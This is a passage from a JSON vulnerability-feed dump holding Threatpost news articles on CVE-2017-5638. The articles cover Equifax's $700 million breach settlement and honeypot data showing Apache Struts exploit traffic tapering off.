"AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2020-04-11T11:42:25", "description": "Equifax will pay as much as $700 million to settle federal and state investigations on the heels of its infamous 2017 breach, which exposed the data of almost 150 million customers.\n\nThe consumer credit reporting agency on Monday [said](<https://investor.equifax.com/news-and-events/news/2019/07-22-2019-125543228>) it will dish out $300 million to cover free credit monitoring services for impacted consumers, $175 million to 48 states in the U.S, and $100 million in civil penalties to the Consumer Financial Protection Bureau (CFPB). If the initial amount does not cover consumer losses, the company may need to pay an additional $125 million.\n\n\u201cCompanies that profit from personal information have an extra responsibility to protect and secure that data,\u201d said Federal Trade Commission (FTC) Chairman Joe Simons [in a statement](<https://www.ftc.gov/news-events/press-releases/2019/07/equifax-pay-575-million-part-settlement-ftc-cfpb-states-related?utm_source=slider>). \u201cEquifax failed to take basic steps that may have prevented the breach that affected approximately 147 million consumers. This settlement requires that the company take steps to improve its data security going forward, and will ensure that consumers harmed by this breach can receive help protecting themselves from identity theft and fraud.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nEquifax, which handles data associated with more than 820 million customers and 91 million businesses worldwide, has been under public scrutiny since September 2017 when [it disclosed](<https://threatpost.com/equifax-says-breach-affects-143-million-americans/127880/>) a data breach that impacted almost 150 million Americans. The attackers managed to [access information](<https://threatpost.com/equifax-data-nation-state/141929/>) containing Social Security numbers, birth dates, addresses, and some driver\u2019s license numbers. Equifax said it discovered the intrusion on July 29, meaning attackers apparently had access to the company\u2019s files for nearly 12 weeks.\n\nAfter the data breach, Equifax was hit by multiple lawsuits, as well as investigations by the FTC, the CFPB, the Attorneys General of 48 states, and more.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/07/22101929/eqfx-socmed-summary.png>)\n\nLawsuits claimed that Equifax failed to patch its network in March 2017 after being alerted of a [critical security flaw](<https://threatpost.com/equifax-adds-2-4-million-more-people-to-list-of-those-impacted-by-2017-breach/130209/>) (an Apache Struts vulnerability, CVE-2017-5638) in its Equifax Automated Consumer Interview System database (which handles inquiries from consumers about their personal credit data). This vulnerability was ultimately exploited by bad actors, leading to the data breach.\n\nAs part of the agreement, Equifax also said it will take steps to enhance its information security and technology program, as well as make payments totaling $290.5 million to state and federal regulatory agencies to pay attorneys\u2019 fees and costs in the multi-district litigation.\n\nIn the past month, a slew of fines and penalties have been imposed that were tied privacy and data breach incidents. Earlier in July, the [FTC slapped](<https://threatpost.com/privacy-experts-facebooks-5b-fine/146478/>) a $5 billion fine on Facebook for privacy violations following its Cambridge Analytica incident. Also hit with security-related fines in July were [Marriott](<https://threatpost.com/marriott-123m-fine-data-breach/146320/>) ($123 million) and [British Airways](<https://threatpost.com/post-data-breach-british-airways-slapped-with-record-230m-fine/146272/>) ($230 million).\n\nWhile opinions are mixed about the appropriate penalty for these companies and Equifax, security experts for their part hope that other companies will take note of the fines when it comes to data security and privacy.\n\n\u201cI\u2019m far from an Equifax apologist, but the truth is it could have been anyone,\u201d Adam Laub, chief marketing officer at STEALTHbits Technologies said in an email. \u201cIt\u2019s not an excuse, but rather the reality we live in. The best outcome isn\u2019t Equifax making the situation right \u2013 although that is important for all of those affected \u2013 it\u2019s everyone else learning that the price to be paid outweighs the inconvenience of ensuring proper measures are taken to secure the data that puts them at risk in the first place. And it\u2019s got to be from the ground up too. There\u2019s no silver bullet.\u201d\n\n**_Interested in more on patch management? Don\u2019t miss our free live _**[**_Threatpost webinar_**](<https://attendee.gotowebinar.com/register/1579496132196807171?source=ART>)**_, \u201c_****_Streamlining Patch Management,\u201d on Wed., July 24, at 2:00 p.m. EDT. Please join Threatpost editor Tom Spring and a panel of patch experts as they discuss the latest trends in Patch Management, how to find the right solution for your business and what the biggest challenges are when it comes to deploying a program. _****_[Register and Learn More](<https://attendee.gotowebinar.com/register/1579496132196807171?source=ART>)_**\n", "cvss3": {}, "published": "2019-07-22T14:31:39", "type": "threatpost", "title": "Equifax to Pay $700 Million in 2017 Data Breach Settlement", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2019-07-22T14:31:39", "id": "THREATPOST:5ADABEB29891532ECFF2D6ABD99CAED4", "href": "https://threatpost.com/equifax-to-pay-700-million-in-2017-data-breach-settlement/146579/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2018-10-06T22:53:58", "description": "Malicious traffic stemming from exploits against the [Apache Struts 2 vulnerability](<https://threatpost.com/attacks-heating-up-against-apache-struts-2-vulnerability/124183/>) disclosed and [patched](<https://cwiki.apache.org/confluence/display/WW/S2-045>) this week has tapered off since Wednesday.\n\nResearchers at Rapid7 published an [analysis](<https://community.rapid7.com/community/infosec/blog/2017/03/09/apache-jakarta-vulnerability-attacks-in-the-wild>) of data collected from its honeypots situated on five major cloud providers and a number of private networks that shows a couple of dozen sources have targeted this vulnerability, but only two, originating in China, have actually sent malicious commands.\n\nCisco Talos said on Thursday that attacks had [risen sharply](<http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html>) since word leaked of publicly available exploits and a [Metasploit module](<https://github.com/rapid7/metasploit-framework/issues/8064>). But it conceded that it was difficult to ascertain whether probes for vulnerable Apache servers could be carried out benignly.\n\nRapid7 said that in a 72-hour period starting Tuesday, a handful of events cropped up peaking at fewer than 50 between 11 a.m. and 6 p.m. Wednesday.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2017/03/06230023/pastedImage_1.png>)\n\n\u201cWe are really seeing limited attempts to exploit the vulnerability,\u201d said Tom Sellers, threat analyst and security researcher at Rapid7. \u201cFor context, please keep in mind that our data is from honeypots hosted in cloud providers and may not reflect what other sensors and organizations are seeing.\u201d\n\nCraig Williams, Cisco Talos senior technical lead, said researchers there are seeing attack traffic trending downward as well.\n\n\u201cEarly indicators and past experiences were pointing to this being an ongoing issue with attackers continuing to seek out vulnerable machines. Interestingly, over the last couple days, we have seen a slowing of activity,\u201d Williams said. \u201cBecause this is so unusual, we are continuing to monitor the situation in case the trend starts moving in the other direction. Again, this is not typical for this type of issue but great news all the same.\u201d\n\nThe vulnerability is in the Jakarta Multipart parser that comes with Apache. An attacker can trivially exploit the vulnerability to gain remote code execution by sending a HTTP request that contains a crafted Content-Type value. The vulnerable software will throw an exception in such cases.\n\n\u201cWhen the software is preparing the error message for display, a flaw in the Apache Struts Jakarta Multipart parser causes the malicious Content-Type value to be executed instead of displayed,\u201d Sellers wrote in an analysis published yesterday.\n\nThe vulnerability was disclosed and patched on Monday, and by Tuesday, Rapid7 was seeing two malicious requests from a host geo-located in Zhengzhou, China. The attacks arrived in HTTP GET requests and issued commands to the vulnerable webserver for it to download binaries from the attacker-controlled server on the internet. Sellers called it a standard command-injection attack against a webserver where the attacker is able to write code that instructs the server to reach out to an IP address and download code that executes on the server.\n\nThe second attack was spotted Wednesday when a host in Shanghai, China sent HTTP POST requests to servers instructing them to disable their firewall and grab code related to the XOR DDoS malware family.\n\n\u201cWhile we\u2019ve seen a couple dozen sources exploiting the vulnerability, only those two issued malicious commands,\u201d Sellers said. \u201cWe\u2019ve actually seen a drop off in related traffic since Wednesday. The most active attacker stopped on Thursday around 4 a.m. U.S. Central time.\u201d\n\nSellers said it\u2019s unclear as to why there\u2019s been a dropoff in malicious traffic.\n\n\u201cIt could be caused by a number of factors. The malicious payload is pretty obvious and easy to filter if traffic is inspected,\u201d Sellers said. \u201cAttackers might be prioritizing other vulnerabilities such as the ones announced in cameras recently. The lull may be temporary and we may see activity rise again after attention moves on to efforts.\u201d\n\nCisco raised the issue of IoT devices running the vulnerable Apache software as well, which could be an indicator of initial interest from DDoS bots.\n\n\u201cGiven the low sample size it\u2019s difficult for me to say.It\u2019s possible that DDoS bots are the early adopters since infection would generate easy, repeatable income and the code was trivial to port to existing frameworks,\u201d Sellers said. \u201cCompare that to ransomware, where a new deployment mechanism may need to be written but would likely only result in a single payout per host.\u201d\n\nResearchers were also seeing a number of requests probing for additional vulnerable servers that included whoami and ifconfig, commands that are relatively benign but could return information about what context the server is running in. Servers running at root\u2014an uncommon practice\u2014are most at risk.\n", "cvss3": {}, "published": "2017-03-10T10:51:01", "type": "threatpost", "title": "Apache Attack Traffic Dropping, Limited to Few Sources", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-10T16:12:17", "id": "THREATPOST:AACAA4F654495529E053D43901F00A81", "href": "https://threatpost.com/apache-attack-traffic-dropping-limited-to-few-sources/124227/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-01-23T05:28:31", "description": "Equifax, the credit agency behind this summer\u2019s breach of 143 million Americans, said this week the number of victims implicated in the breach has increased.\n\nPaulino do Rego Barros, Jr., the company\u2019s interim CEO, [announced Monday](<https://www.equifaxsecurity2017.com/>
Clustering App Attacks with Machine Learning Part 3: Algorithm Results
